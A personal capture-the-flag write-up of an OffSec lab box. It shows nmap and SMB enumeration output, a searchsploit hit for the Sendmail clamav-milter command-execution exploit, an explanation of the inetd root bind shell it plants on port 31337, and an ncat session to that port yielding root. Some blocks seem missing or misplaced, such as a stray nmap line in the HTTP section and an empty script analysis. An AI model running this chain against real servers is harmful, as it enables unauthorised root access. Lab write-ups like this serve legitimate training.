In this challenge I’m going to mail a C4 plastic explosive to the host. When this explodes, it leaves a small hole where we can enter to interact with root shell. To be honest, this exploit is one of my favorite ones from now on because it just goes HARD. Sometimes simplicity is the key to success.
Enumerating ports
Well, of course I have to do port scanning before doing anything:
┌──(kali㉿kali)-[~/Desktop/ClamAV] └─$ nmap -sC -sV -A 192.168.121.42 -T5 -p- -Pn > nmapScan.output Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 14:46 EDT Warning: 192.168.121.42 giving up on port because retransmission cap hit (2). Stats: 0:03:29 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 38.21% done; ETC: 14:56 (0:05:38 remaining) Nmap scan report for 192.168.121.42 Host is up (0.085s latency). Not shown: 64716 closed tcp ports (reset), 812 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) | ssh-hostkey: | 1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA) |_ 1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA) 25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3 | smtp-commands: localhost.localdomain Hello [192.168.45.209], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP |_ 2.0.0 This is sendmail version 8.13.4 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux)) |_http-title: Ph33r | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/1.3.33 (Debian GNU/Linux) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 199/tcp open smux Linux SNMP multiplexer 445/tcp open netbios-ssn Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP) 60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0) | ssh-hostkey: | 1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA) |_ 1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA) Aggressive OS guesses: Dell Integrated Remote Access Controller (iDRAC5) (96%), OpenWrt White Russian 0.9 (Linux 2.4.30) (96%), Linux 2.6.28 (95%), Linux 2.6.9 - 2.6.27 (95%), Sony SMP-N200 media player (95%), Linux 2.6.21 (95%), Linux 2.6.5 (95%), Linux 2.6.18 (95%), Tomato 1.28 (Linux 2.6.22) (95%), Asus RT-AC66U router (Linux 2.6) (95%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: Host: localhost.localdomain; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp) HOP RTT ADDRESS 1 86.32 ms 192.168.45.1 2 86.04 ms 192.168.45.254 3 86.35 ms 192.168.251.1 4 86.39 ms 192.168.121.42
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 557.52 seconds
This gives us SHIT TONS of information. Of course I read the description of the challenge, and it focuses on SMTP exploitation, but I just wanted to do something cool. I started working on SMB. I thought this would be interesting because there is guest account with dangerous permissions.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~/Desktop/ClamAV] └─$ smbclient -L //192.168.121.42/ -N Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (0xbabe server (Samba 3.0.14a-Debian) brave pig) ADMIN$ IPC IPC Service (0xbabe server (Samba 3.0.14a-Debian) brave pig) Reconnecting with SMB1 for workgroup listing.
Server Comment --------- ------- 0XBABE 0xbabe server (Samba 3.0.14a-Debian) brave pig
This is quite fun. I tried connecting to ADMIN$ and print$ but they’re password protected. The problem with IPC$ is that it doesn’t give me anything interesting to play with, so I had to stop messing with that guy. Don’t pick on weak people.
I wasted some time on SMB enumeration and information gathering in general with various tools like enum4linux, rpcclient, smbclient and etc. but I never saw any progress, to be honest. That’s why I decided to go with HTTP (I saw that port later in the nmap scan output XD).
Well, this port was useless too.
Easter eggs are fun but they love to waste time
Alright. I just went to the page, and this was returned in the browser:
Nmap done: 1 IP address (1 host up) scanned in 41.36 seconds
Of course the output itself was much larger, but I replaced some process information with ... to make it look shorter and easier to understand. According to the description of the challenge, the most interesting processes are going to be clamav-milter and sendmail-mta. I can just look the exploit up with searchsploit to see if there is anything.
1 2 3 4 5 6 7 8
┌──(kali㉿kali)-[~/Desktop/ClamAV] └─$ searchsploit clamav-milter ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Sendmail with clamav-milter < 0.91.2 - Remote Command Execution | multiple/remote/4761.pl ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
This creates a bind root shell on TCP port 31337. After it appends the payload to the /etc/inetd.conf file (which is the inetd service configuration file), it restarts the service. Then we’re good to go. I can just connect to the target:
┌──(kali㉿kali)-[~/Desktop/ClamAV] └─$ ncat 192.168.121.42 31337 -v Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.121.42:31337. ls bin boot cdrom dev etc home initrd initrd.img initrd.img.old lib lost+found media mnt opt proc root sbin srv sys tmp usr var vmlinuz vmlinuz.old whoami root cd /root ls dbootstrap_settings install-report.template proof.txt
There is no need to get the prompt because I’m already a root user, and I can just read flag files and submit the answer to OffSec.
Unpacking the C4 explosive
BEWARE!!! This is done by professionals, and you shouldn’t try this at home. I took the PERL script and analyzed it:
These two commands are being run, which binds the root shell during startup of the inetd service. This allows me to connect to the server with simple tools like ncat and inject OS commands.
What I don’t understand
Alright. The challenge was great and fun, but I don’t understand why there were SMB and SSH services. When talking about SSH service I don’t mean 22/tcp port but 60000/tcp port. Are there other ways to gain a shell on this machine? I tried several methods and techniques, but all of them failed. I even tried buffer overflow attacks but failed.
In my opinion, these services are left to waste the time of the people who are solving the challenge. Let’s be honest. There was absolutely NO need for SMB or even SSH service on port 60000/tcp. I just wasted ~15 minutes enumerating SMB and trying to exploit “weaknesses” that gave nothing in return. Just explain to me why people create CTFs this way…